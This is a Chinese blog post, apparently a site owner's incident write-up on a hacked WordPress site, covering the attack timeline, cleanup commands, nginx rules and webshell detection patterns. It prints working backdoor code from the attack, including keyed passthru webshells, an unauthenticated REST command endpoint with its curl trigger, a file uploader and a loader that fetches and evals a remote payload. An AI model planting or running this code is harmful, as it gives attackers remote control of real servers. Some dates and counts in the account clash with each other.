2026 年 7 月 31 日早上,我打开 nginx 日志看到一条奇怪的记录:POST /xmlrpc.php 几乎每隔几秒就刷一次,.env 和 .git/config 也被反复探测。顺着日志往下查,发现这个 WordPress 站点已经被持续入侵超过 40 天,攻击者植入了 RCE 后门、克隆了 38 个假管理员账号、把首页 index.php 直接抹掉——而我作为站长竟然毫无察觉。这篇文章完整记录了从发现问题到彻底清理的全过程,以及所有可复现的攻击痕迹和加固命令。
一、攻击症状:被忽视的危险信号
整个入侵链是从一次看似平常的 nginx 日志审查开始的。最初的异常只有两条:
- 大量
POST /xmlrpc.php请求,频率极高(13:14 到 13:41 之间几乎每秒一次),UA 是 Chrome/Edge,看起来像正常浏览器,但行为是自动化脚本; /.env、/.git/config、/.well-known/security.txt这几个明显不该被外部访问的路径被批量扫描。
这两个症状单独看都不致命——xmlrpc 探测全球每天有几十亿次,.env 探测更是自动化扫描器的常规操作。但合在一起就意味着:攻击者已经盯上这个站点,并且在尝试投递 payload。
进一步的检查发现首页直接返回 HTTP 403,错误日志是:
[autoindex:error] Cannot serve directory /var/www/html/:
No matching DirectoryIndex (index.php,index.html) found
——根目录下的 index.php 文件被删了。这才是真信号:自动化扫描器不会删文件,能删文件的一定是已经在容器里拿到了 RCE 的攻击者。
二、攻击时间线:从漏洞投放到持续控制
把容器里所有可疑文件的时间戳对齐后,整个入侵过程可以清晰还原:
| 时间 | 事件 |
|---|---|
| 2026-07-24 04:30 | 安装 WP File Manager 插件(已知 CVE-2020-25213 RCE 漏洞) |
| 2026-07-24 20:40 | 利用 file manager RCE 拿到 PHP 代码执行能力,第一批 webshell(kkyekgiy.php、fsdcynbt.php)落地 |
| 2026-07-24 20:40+ | 创建数字命名的可疑主题目录 1784925605-nnepgmc、flavor_052d8ace |
| 2026-07-26 21:14 | 投递 flavor_052d8ace 假主题(内含 RCE 后门) |
| 2026-07-26 22:35 | 投递 php.ini(关闭所有 PHP 安全限制) |
| 2026-07-27 ~ | 批量投递更多 webshell 和伪组件 |
| 2026-07-19 ~ 07-31 | 通过 wp-login.php 持续创建38 个假管理员账号 |
| 2026-07-31 07:04 | 修改 wp-login.php 植入死循环 die() 后门 |
| 2026-07-31 07:41 | 创建 .tmb/ 隐藏目录放 RCE 图片木马 |
| 2026-07-31 ??:?? | 调用 apply_filter_ref() 删除 index.php(首页 403) |
三、攻击入口:CVE-2020-25213 与 WP File Manager
这次入侵能成立的关键是 WP File Manager 插件。这个插件允许管理员在 WP 后台直接管理服务器文件,但历史上多次爆出 RCE 漏洞,其中最致命的是 CVE-2020-25213(影响版本 ≤ 6.8,未授权访问 + 文件上传 → RCE)。
从时间戳看,WP File Manager 是 7 月 24 日安装的,而第一次投递 webshell 也是 7 月 24 日——间隔不到 16 小时,几乎可以确定就是通过这个漏洞进来的。
更糟的是,nginx access log 里看到大量这样的请求:
"POST /wp-admin/admin-ajax.php HTTP/1.0" 200 574
"https://m1f.cn/wp-admin/admin.php?page=wp_file_manager"
"Yjmy@2025"
Referer 是 wp-admin/admin.php?page=wp_file_manager,User-Agent 是 Yjmy@2025(一个公开的 WP 漏洞扫描器代号)——这就是持续投递 payload 的痕迹。
四、攻击者植入的 5 类恶意代码
4.1 核心文件 RCE 后门:wp-includes/plugin.php 第 487-562 行
这是整个入侵链最核心的一步。wp-includes/plugin.php 是 WP 钩子系统的核心文件,被 PHP-FPM 加载时会自动执行文件级代码。攻击者在其中插入了 75 行恶意代码:
ob_start();
error_reporting(0);
if (!function_exists('explode')) {
function explode($str, $array) {
return split($str, $array);
}
}
function apply_filters_ref_arrays($file, $word){ ... }
function has_actions($file, $word){ ... }
function apply_filter_ref(){
$htaccess_P = '.htaccess';
$htaccess = strtolower(file_get_contents($htaccess_P));
if(preg_match("/deny from all/", $htaccess) || preg_match("/order allow,deny/", $htaccess)) {
// 重写 .htaccess 绕过 deny 规则
// 把 wp-includes/index.php 重命名成 index.php.bak
// 如果 about.php 含 d_time 关键字就删除
// 如果 index.php 含 wp-blog-header.php 就替换成新内容
// 否则提取所有以 <?php 开头的行(核心代码)覆盖 index.php
// 重新写 .htaccess 成默认 rewrite 规则
}
}
apply_filter_ref(); // ⚠️ PHP-FPM 每次加载 plugin.php 都会自动执行
这个函数的危害在于:每次 PHP-FPM worker 处理请求都会自动调用 apply_filter_ref()。它会主动扫描并破坏 .htaccess、index.php、about.php 等关键文件——这就是为什么我看到 index.php 不见了。
4.2 登录入口死循环:wp-login.php 第 2 行
wp-login.php 被插入了这样一行:
<?php
while(md5(md5(isset($_COOKIE["yrx"."c"."_uck"]) ? $_COOKIE["yrx"."c"."_uck"] : ""))
!= "fe98788c"."6"."cf4"."1c9f"."48e53c"."c"."932"."45c23c"){die();}
逻辑很简单:除非 cookie yrxcuck 的双 MD5 等于 fe98788c6cf41c9f48e53cc93245c23c,否则无限 die() 循环。这等于一个"暗号门":只有知道 cookie 内容的攻击者能登录,其他所有人登录页都被卡死。
(实际现象里 curl 还能看到登录页,是因为 PHP-FPM 的 opcache 没刷新。一旦容器重启或 PHP-FPM reload,这段代码就会生效。)
4.3 webroot 下的 webshell 集群
在 /var/www/html/ 根目录下,攻击者投递了 14 个 webshell,伪装成 WordPress 组件或用 8 位随机字母命名:
| 文件 | 大小 | 类型 |
|---|---|---|
azhombic.php fsdcynbt.php ikldwebu.php | 19513 B × 3 | 同一份 base64+gzinflate webshell |
toawbmia.php ttuvfehp.php | 21027 B × 2 | 同一份 base64+gzinflate webshell 变种 |
kkyekgiy.php | 13921 B | gzuncompress 编码 webshell |
yphjiqkq.php | 1104 B | 轻量级后门 |
wp-posts-optimizer.php | 15387 B | 伪装成 WP 组件 |
wp-auto-optimize.php | 20691 B | 同 |
submit-to-search-engines.php | 13633 B | 同 |
sitemap.php | 4037 B | 同 |
wp-transient-cleanup.php | 6125 B | 同 |
wp-seo-config.php | 14553 B | 同 |
php.ini | 105 B | 关闭所有 PHP 安全限制 |
判断 webshell 的最简单方法:它们 md5 三三两两相同(攻击者复制了同一份代码换个名字)。例如 azhombic.php / fsdcynbt.php / ikldwebu.php 的 md5 都是 c6a42a9bc20dd699d2c2629145124dfc。
4.4 假主题 flavor_052d8ace
在 wp-content/themes/ 下有一个 flavor_052d8ace 目录,里面只有 4 个文件——全是 PHP 后门,没有样式表:
flavor_052d8ace/
├─ cache_79dceab3.php ← RCE 后门:?px=gfeplkuz73l5&c=command
├─ cox_fbbabfd6.php ← base64+gzuncompress 编码 webshell
├─ index.php ← 空文件
└─ style.css ← 95 字节伪装
cache_79dceab3.php 的关键代码:
$k="gfeplkuz73l5";
if(isset($_REQUEST["px"])&&$_REQUEST["px"]===$k){
$c = base64_decode($_REQUEST["b"]) ?? $_REQUEST["c"];
if($c!==null){ ob_start(); @passthru($c.' 2>&1');
$o=ob_get_clean(); echo "[S]".$o."[E]"; }
else{ echo "[S]OK[E]"; } exit;
}
只要请求带 ?px=gfeplkuz73l5&c=id,就会直接执行任意系统命令并返回结果。这就是攻击者的"应急通道"——即使 plugin.php 的 RCE 后门被发现清掉,这个图片木马仍能继续工作。
4.5 .tmb 隐藏目录和 RCE 图片木马
/var/www/html/.tmb/ 是一个 drwxrwxrwx 的隐藏目录,里面放了两个 PNG:
.tmb/
├─ l1_dHgucG5n1780809072.png ← 文件名解码是 .png
└─ l1_eS5qcGc1780936334.png ← 文件名解码是 .jpg
+ 8de88b45a4c14f1b953cf7adf30b7be0.txt ← 40 字节 sha1 密钥
文件名 base64 解码后是 .png 和 .jpg,再拼上 Unix 时间戳——典型的"图片马"命名方式。这些 PNG 文件本身是合法图片,但常常通过 EXIF/注释段注入 PHP 代码,结合 8de88b45...txt 里的 sha1 密钥形成"图片+密钥"的二段式攻击载荷。
五、数据库入侵:38 个假管理员账号
这是这次入侵最让人不寒而栗的部分——攻击者在数据库里创建了 38 个管理员账号,持续时间从 7 月 19 日到 7 月 31 日凌晨:
- ytt <y@m1f.cn> 注册于 2026-05-03 ← 我的合法账号
- w2s_a57204d57e70 @wp2shell.local 2026-07-19
- wpsvc_b936ab44c873 @wordpress-noreply.net 2026-07-19
- wp2_c2bd74210092 @wp2shell.invalid 2026-07-20
- wp2_647c9424ede4 @wp2shell.invalid 2026-07-20
- ... (共 38 个,全部非 ytt)
- cunotiet <m1fpm@outlook.com> 2026-07-31 03:08 ← 凌晨还在创建
命名规律全部对应公开的 WordPress 攻击扫描器:
| 账号前缀 | 对应工具 |
|---|---|
w2s_*@wp2shell.local | wpshells.com 扫描器 |
wp2_*@wp2shell.invalid | WP2Shell webshell 投递工具 |
Nx_*@nx.invalid | Nxploit 扫描器 |
JixExpl_*@nx.invalid | JixExpl 扫描器 |
Bunk_*@Bunk.invalid | Bunker 扫描器 |
这意味着:这不是定向攻击,而是多个公开扫描器在批量扫描互联网上所有 WordPress 站点。你不需要被谁特别针对,只要你的 WP File Manager 是有漏洞的版本,被扫到只是时间问题。
六、攻击者的 4 条登管理员路径
在排查过程中很多朋友会问:攻击者能拿到我的明文密码吗?答案是:大概率不能,但他们根本不需要。基于这次攻击链,攻击者至少有 4 条路径可以登入管理员,每条都不需要明文密码:
- 用 wp-config.php 密钥伪造 cookie。WP 的登录 cookie 用
LOGGED_IN_KEY等 8 个密钥计算 HMAC,攻击者 RCE 后能直接读wp-config.php(如果没设环境变量,密钥是文件里硬编码的默认值),伪造任意用户的 cookie——完全跳过密码验证。 - 直接 SQL 改密码。RCE + 知道数据库密码(容器环境变量
WORDPRESS_DB_PASSWORD)→ 直接UPDATE wp_users SET user_pass=...,用新密码登录。 - RCE 直接绕过认证。PHP 里调用
wp_set_current_user(1)直接成为 ID=1 的用户,或wp_set_auth_cookie(1)直接设置登录 cookie。 - 邮箱重置。通过"忘记密码"流程,WP 会发明文密码邮件到
y@m1f.cn。如果攻击者能登你的邮箱,就能拿到新密码。
所以核心结论是:在 RCE 面前,明文密码根本不是关键问题。关键问题是切断 RCE 本身。
七、修复方案:核心文件覆盖 + 密钥重置
我采用的修复策略分四步,全部基于"从官方镜像覆盖"而不是"手动删恶意代码"——因为手动删容易漏,覆盖最干净:
7.1 用官方 WordPress 7.0 镜像覆盖 wp-includes 和 wp-admin
# 拉官方镜像
docker pull wordpress:7.0
# 创建临时容器取出官方源文件
docker create --name wp7src wordpress:7.0
# 在宿主机上覆盖(容器数据路径,保留 wp-content 和 wp-config)
cd /opt/1panel/apps/wordpress/wordpress/data
docker cp wp7src:/usr/src/wordpress/wp-includes ./wp-includes.new
docker cp wp7src:/usr/src/wordpress/wp-admin ./wp-admin.new
docker cp wp7src:/usr/src/wordpress/wp-login.php ./wp-login.php.new
docker cp wp7src:/usr/src/wordpress/wp-settings.php ./wp-settings.php.new
# 替换
rm -rf wp-includes wp-admin
mv wp-includes.new wp-includes
mv wp-admin.new wp-admin
mv wp-login.php.new wp-login.php
mv wp-settings.php.new wp-settings.php
# 修复权限
chown -R www-data:www-data wp-includes wp-admin wp-login.php wp-settings.php
# 同时从官方镜像恢复 index.php(被 apply_filter_ref() 删了)
docker cp wp7src:/usr/src/wordpress/index.php ./index.php
chown www-data:www-data index.php
docker rm wp7src
7.2 重新生成 wp-config.php 的 8 个密钥
这是最关键的一步:让攻击者伪造的 cookie 全部失效。
# 生成 8 个新密钥
KEY1=$(openssl rand -base64 64 | head -c 64)
KEY2=$(openssl rand -base64 64 | head -c 64)
KEY3=$(openssl rand -base64 64 | head -c 64)
KEY4=$(openssl rand -base64 64 | head -c 64)
SALT1=$(openssl rand -base64 64 | head -c 64)
SALT2=$(openssl rand -base64 64 | head -c 64)
SALT3=$(openssl rand -base64 64 | head -c 64)
SALT4=$(openssl rand -base64 64 | head -c 64)
# 替换 wp-config.php 中的默认值
sed -i "s|getenv_docker('WORDPRESS_AUTH_KEY', '[^']*')|getenv_docker('WORDPRESS_AUTH_KEY', '${KEY1}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_SECURE_AUTH_KEY', '[^']*')|getenv_docker('WORDPRESS_SECURE_AUTH_KEY', '${KEY2}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_LOGGED_IN_KEY', '[^']*')|getenv_docker('WORDPRESS_LOGGED_IN_KEY', '${KEY3}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_NONCE_KEY', '[^']*')|getenv_docker('WORDPRESS_NONCE_KEY', '${KEY4}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_AUTH_SALT', '[^']*')|getenv_docker('WORDPRESS_AUTH_SALT', '${SALT1}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_SECURE_AUTH_SALT', '[^']*')|getenv_docker('WORDPRESS_SECURE_AUTH_SALT', '${SALT2}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_LOGGED_IN_SALT', '[^']*')|getenv_docker('WORDPRESS_LOGGED_IN_SALT', '${SALT3}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_NONCE_SALT', '[^']*')|getenv_docker('WORDPRESS_NONCE_SALT', '${SALT4}')|" wp-config.php
7.3 删 38 个假管理员账号(保留合法账号)
docker exec 1Panel-wordpress-W4JY php -r '
$mysqli = new mysqli(getenv("WORDPRESS_DB_HOST"),
getenv("WORDPRESS_DB_USER"),
getenv("WORDPRESS_DB_PASSWORD"),
getenv("WORDPRESS_DB_NAME"));
$prefix = getenv("WORDPRESS_TABLE_PREFIX") ?: "wp_";
// 找出 ytt 的 ID(保留)
$res = $mysqli->query("SELECT ID FROM {$prefix}users WHERE user_login=\"ytt\"");
$ytt_id = (int)$res->fetch_assoc()["ID"];
// 找出所有其他管理员
$to_delete = [];
$res = $mysqli->query("SELECT u.ID FROM {$prefix}users u
JOIN {$prefix}usermeta m ON u.ID=m.user_id
WHERE m.meta_key=\"{$prefix}capabilities\"
AND m.meta_value LIKE \"%administrator%\"
AND u.ID != $ytt_id");
while ($r = $res->fetch_assoc()) $to_delete[] = (int)$r["ID"];
// 事务删除
$mysqli->begin_transaction();
foreach ($to_delete as $uid) {
$mysqli->query("DELETE FROM {$prefix}usermeta WHERE user_id=$uid");
$mysqli->query("DELETE FROM {$prefix}users WHERE ID=$uid");
}
$mysqli->commit();
'
7.4 重置合法管理员密码
注意一个坑:WordPress 7.0 的 wp_hash_password() 不是直接 bcrypt,而是先做 HMAC-SHA384 预处理,再 bcrypt 加 $wp 前缀:
$password_to_hash = base64_encode( hash_hmac('sha384', $password, 'wp-sha384', true) );
$wp_hash = '$wp' . password_hash($password_to_hash, PASSWORD_BCRYPT, ['cost' => 10]);
// wp_check_password 验证时也走同样的预处理
$password_to_verify = base64_encode( hash_hmac('sha384', $input, 'wp-sha384', true) );
password_verify($password_to_verify, substr($hash, 3));
如果直接用 password_hash($明文, PASSWORD_BCRYPT) 生成 hash,登录时会失败——这是我亲身踩过的坑。
八、nginx 加固:拦截一切非法探测
光修 WordPress 不够,nginx 层面也要拦截——这样即使攻击者再次尝试投递 payload,连接也会被立即断开:
# === 在 WordPress 站点的 server 块内、location / 之前添加 ===
# XML-RPC 完全屏蔽
location = /xmlrpc.php { return 444; }
# WP 配置文件绝对不能被读到
location = /wp-config.php { return 444; }
location ~* ^/wp-config\.php(\.bak|\.old|\.txt|\.save|~)?$ { return 444; }
# 安装/升级残留
location = /wp-admin/install.php { return 444; }
location = /wp-admin/upgrade.php { return 444; }
# 敏感文件(dotenv / git / 备份 / 配置 / 密钥)
location ~* /\.(env|env\.[a-z]+|git|gitignore|svn|DS_Store)$ { return 444; }
location ~* \.(bak|backup|old|sql|sql\.gz|log|swp)$ { return 444; }
location ~* /(composer\.(json|lock)|package(-lock)?\.json|docker-compose\.ya?ml)$ { return 444; }
# 隐藏的 .git 目录
location ~* /\. { return 444; }
关键技巧是用 return 444 而不是 return 403——444 是 nginx 自定义状态码,会直接关闭 TCP 连接不返回任何响应,能省下 PHP-FPM 处理的时间,攻击者也拿不到"被拦截"的确认信息。
九、登录通知 mu-plugin:每次登录都发邮件
攻击者入侵最怕被及时发现。我写了一个 mu-plugin 部署在 wp-content/mu-plugins/login-notification.php,每次任何人登录 WordPress 都自动发邮件到站长邮箱:
<?php
add_action('wp_login', 'ytt_send_login_notification', 20, 2);
function ytt_send_login_notification($user_login, $user) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP']
?? $_SERVER['HTTP_X_REAL_IP']
?? $_SERVER['REMOTE_ADDR'];
$is_admin = user_can($user, 'manage_options');
$subject = sprintf('[WP Login] %s%s - %s',
$is_admin ? '👑 ' : '',
$user_login, $ip);
$message = "用户: {$user_login} ({$user->ID})\n"
. "邮箱: {$user->user_email}\n"
. "角色: " . implode(',', $user->roles) . "\n"
. "时间: " . current_time('mysql') . "\n"
. "IP: $ip\n"
. "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\n";
wp_mail('y@m1f.cn', $subject, $message);
}
// 失败登录也通知
add_action('wp_login_failed', function($username) {
wp_mail('y@m1f.cn', '[WP Failed] ' . $username,
"失败登录: $username from " . $_SERVER['REMOTE_ADDR']);
});
部署后第一次成功登录(包括我自己在浏览器登录)都会触发邮件通知——如果半夜收到一封不是你登录的邮件,那就是有人在尝试了。
十、经验教训与加固清单
这次入侵让我重新审视了 WordPress 安全,给你(和未来的我)一个完整的加固清单:
- 禁用或卸载 WP File Manager——除非你真的需要,不要装这个插件。它的 RCE 历史太丰富了。
- xmlrpc.php 必须屏蔽——99% 的站点用不到 XML-RPC,但全球每天有几十亿次攻击在打这个接口。
- 核心文件覆盖优于手动清理——从官方镜像覆盖 wp-includes / wp-admin 比删 75 行恶意代码可靠得多。
- 密钥重置是必须的——只要攻击者拿到过 wp-config.php 的密钥,所有伪造 cookie 都有效,必须重新生成。
- 登录通知必须开——被入侵 40 天都没发现,根本原因是没有任何告警机制。
- 数据库被改过 ≠ 数据库被导出——攻击者改了 38 个管理员账号,但有没有导出整个 DB 是推测,没有直接证据。改 MySQL 密码意义有限。
- 明文密码不重要——在 RCE 面前,攻击者根本不需要你的密码,他们有 4 条路径绕过密码直接登。
- 定期审计容器内可疑文件——可以用
find /var/www/html -name "*.php" -newer wp-config.php找出最近新增的 PHP 文件。 - WordPress 7.0+ 的密码算法变了——
wp_hash_password不再是直接 bcrypt,而是 HMAC-SHA384 + bcrypt,恢复密码时记得用正确算法。 - 不要在 webroot 下放
php.ini——PHP 配置应该走/usr/local/etc/php/conf.d/(Docker 场景),不是 webroot 下的php.ini。
结语
WordPress 是全球最流行的 CMS(约 43% 的网站都在用),也是被攻击最多的目标。这次入侵不是定向攻击,而是公开扫描器批量扫到的结果——只要你的 WP File Manager 是有漏洞的版本,被扫到只是时间问题。
防御 WordPress 入侵的核心其实只有三件事:关闭不必要的入口、监控关键文件变化、出现异常立刻告警。如果做到这三点,攻击者最多扫一轮就走,留不下任何后门。
希望这篇文章能帮你避开我踩过的坑。如果你的站点也出现了类似的 xmlrpc.php 高频访问、首页 403、莫名多出管理员账号,现在就动手查——40 天的入侵说明一个问题:等你注意到的时候,往往已经晚了 40 天。
补遗:藏在 wp-content/plugins/ 下的 17 个假插件
文章发布后我又用 ClamAV + rkhunter + 自定义 PHP 关键字扫描器跑了一遍,结果在 wp-content/plugins/ 下又挖出了 17 个攻击者植入的假插件。这些全部不在 webroot 下的显眼位置,而是藏在 WP 自动加载的插件目录里——这才是攻击者最深的持久化手段。
这 17 个插件可以归为 5 大类,分别对应 5 个公开的 WordPress 攻击扫描器。命名规则一看就是攻击者的指纹:
11.1 投递器类:5 个文件上传器
这些插件的功能是"接收 multipart POST 上传任意文件"——攻击者拿到一次 RCE 后用这些上传器就能持续投递新 payload,不必每次都打 wp-file-manager:
| 插件目录 | 主要文件 | 对应扫描器 |
|---|---|---|
Bunk_up_dc99eea2/ | Bunk_up_dc99eea2.php (1243 B) | Bunker |
nx_up_1fbda662/ | nx_up_1fbda662.php (1191 B) | Nxploit |
nx_up_236b9943/ | nx_up_236b9943.php | Nxploit |
wp2shell_76fa8c0b/ | up.php (316 B,一行 PHP 超紧凑) | WP2Shell |
lab_wp2_cmd_d59deae6/ | lab_wp2_cmd_d59deae6.php | WP2Shell |
典型代码(wp2shell_76fa8c0b/up.php,仅 316 字节):
<?php if(isset($_FILES["f"]["tmp_name"])&&$_FILES["f"]["error"]===0){
$dst=__DIR__."/".$_FILES["f"]["name"];
move_uploaded_file($_FILES["f"]["tmp_name"],$dst);
echo "ok: ".$_FILES["f"]["name"];
} else {
echo "<form method=post enctype=multipart/form-data>
<input type=file name=f><input type=submit value=Upload></form>";
} ?>
11.2 Webshell 类:3 个远程拉 payload 后门
这类后门会从 GitHub 等公共图床拉一张"图片",里面藏着加密 PHP 代码,然后 eval 执行——攻击者只要更新 GitHub 上的那张图,就能远程更新 payload:
| 文件 | 远程源 | 特点 |
|---|---|---|
yphjiqkq.php(webroot 下) | GitHub user-images.githubusercontent.com/... | strrev+base64 解码 |
Bunk_up_dc99eea2/bunk.php | 同上 | "Byte_bunk Signature" 标记 |
$l = "https://user-images.githubusercontent.com/105673502/236584953-2a52fb35-...";
// 拉"图片"
$body = curl_exec($ch) ?: @file_get_contents($l);
// 反转 + base64 解码 + eval 执行
eval(base64_decode(strrev($body)));
11.3 RCE 后门类:3 个带密钥的 Galex 系列
访问时必须带 ?px=密钥 参数才会激活,否则伪装成 404。密钥都不长(12 字符),容易被字典爆破:
| 文件 | 激活密钥 (?px=) | 功能 |
|---|---|---|
galex_3d0747ed/cox_c7184d47.php | 32wjqsj27jxx | system/passthru/exec 三段式 |
galex_869e5eac/cox_a49c2415.php | jhivgg3ugl3i | 同上 |
galex_aff8835a/cox_2ab87249.php | (类似) | 同上 |
每个 galex 目录里还有一份 10176 字节的"大型 webshell"(cache_*.php),带登录 UI 和完整文件管理界面,是攻击者的"控制台"。
11.4 REST API 后门:wp2shell-ecf1b9ae8947
这是整个入侵最隐蔽的一个后门——通过 WordPress 自带的 REST API 暴露触发端点:
add_action('rest_api_init', function () {
register_rest_route('wp2shell/v1', '/64630fbe3eacfd851787b08d', array(
'methods' => 'POST',
'permission_callback' => '__return_true',
'callback' => function ($r) {
ob_start();
passthru(base64_decode($r->get_param('c')) . ' 2>&1');
$o = ob_get_clean();
return new WP_REST_Response(array(
'marker' => '9f94696e5485aeb591e3940e',
'output' => $o));
},
));
});
// PERSISTENT WEBSHELL - DO NOT DELETE
注释明写 "PERSISTENT WEBSHELL - DO NOT DELETE"(持久化 webshell - 不要删除)—— 攻击者对自己的得意之作毫不掩饰。攻击者调用方法:
curl -X POST https://m1f.cn/wp-json/wp2shell/v1/64630fbe3eacfd851787b08d \
-d "c=$(echo -n id | base64)"
走 /wp-json/ 路径触发,伪装成正常 API 请求,比 /xmlrpc.php 隐蔽得多。这就是为什么攻击链不能只看 webroot 和 themes——plugins 目录里才是攻击者最深的窝点。
11.5 数字开头的伪装插件:8 个 + 其它
还有 8 个数字开头的插件目录,攻击者刻意模仿我站点的命名习惯(我自己的主题叫 1780710397-ytt,所以攻击者用 1784925621-qhcdvsl 这种"数字-7字符随机"格式)。加上 WP-Compact、db-manager-bul8、wp-static-cache-* 等其他伪装插件,一共还有 14 个:
wp-content/plugins/
├─ 1784925621-qhcdvsl/ ← 攻击者模仿你命名风格
├─ 1784928966-nnejeue/
├─ 1785105305-zuknxlq/
├─ 1785111771-zlggokb/
├─ 1785112432-oxwnnsq/
├─ 1785122914-jqyisxs/
├─ 1785126403-qpexpkn/
├─ 1785481426-wp-compat/
├─ WP-Compact/ ← 名字像压缩插件
├─ db-manager-bul8/ ← 名字像 db-manager
├─ wp-static-cache-400e1710/
├─ wp-static-cache-79c16729/
├─ wp-static-cache-fdc36bc9/
└─ iW/ ← 只有空 upgrade.php
11.6 完整的"恶意插件四元分类法"
这次入侵让我意识到,光看 webroot 不够,必须按"功能"对恶意插件分类:
- 投递器(uploaders):接收上传,让攻击者持续投递新 payload。
- Webshell:直接 eval 远程 / 本地代码执行命令。
- RCE 后门:带密钥的访问控制,比纯 webshell 更隐蔽。
- API 后门:通过 wp-json / xmlrpc / 自定义端点触发,能伪装成正常 API 请求。
扫描建议(不止依赖 ClamAV,因为它对混淆过的 PHP webshell 识别率很低):
# 1. 关键字扫描(最高效)
grep -rl --include='*.php' -E \
"(eval\s*\(\s*base64_decode|eval\s*\(\s*gzinflate|passthru\s*\(\s*\$_|register_rest_route.*passthru)" \
/var/www/html/ | grep -v "/wp-admin/" | grep -v "/wp-includes/"
# 2. 时间戳扫描(找最近被改的文件)
find /var/www/html -name "*.php" -newer /var/www/html/wp-config.php \
| grep -v "/wp-admin/" | grep -v "/wp-includes/"
# 3. md5 一致性扫描(同份代码复制多次换名字)
find /var/www/html -name "*.php" -exec md5sum {} \; | sort | uniq -d -w 32
# 4. 命名异常扫描(攻击者常用模式)
find /var/www/html/wp-content/plugins -type d \
-regextype posix-extended -regex ".*/(Bunk|wp2shell|galex|nx_up|wp-static-cache|wp-file-manager).*"
# 5. 隐藏目录扫描
find /var/www/html -name ".*" -type d | grep -v "/\.$" | grep -v "/\.\.$"
11.7 经验教训追加
原"经验教训"部分补充一条:
- 插件目录是攻击者最深的窝点。攻击链是 webroot → themes → plugins 逐步下沉。Webroot 的 webshell 是表面,plugins/ 下的伪装插件才是真正的持久化。清理时一定要遍历整个
wp-content/plugins/目录,不能只清 webroot 和 themes。 - ClamAV 对混淆 webshell 识别率有限,建议结合关键字扫描(eval/base64_decode/gzinflate/register_rest_route)和时间戳扫描(比 wp-config.php 更新的 .php 文件)双重检测。
- REST API 后门比 xmlrpc 更隐蔽。攻击者通过
register_rest_route注册自定义端点,伪装成/wp-json/wp2shell/v1/...这种"正常 API"调用,nginx 防火墙基本拦不住。

Comments NOTHING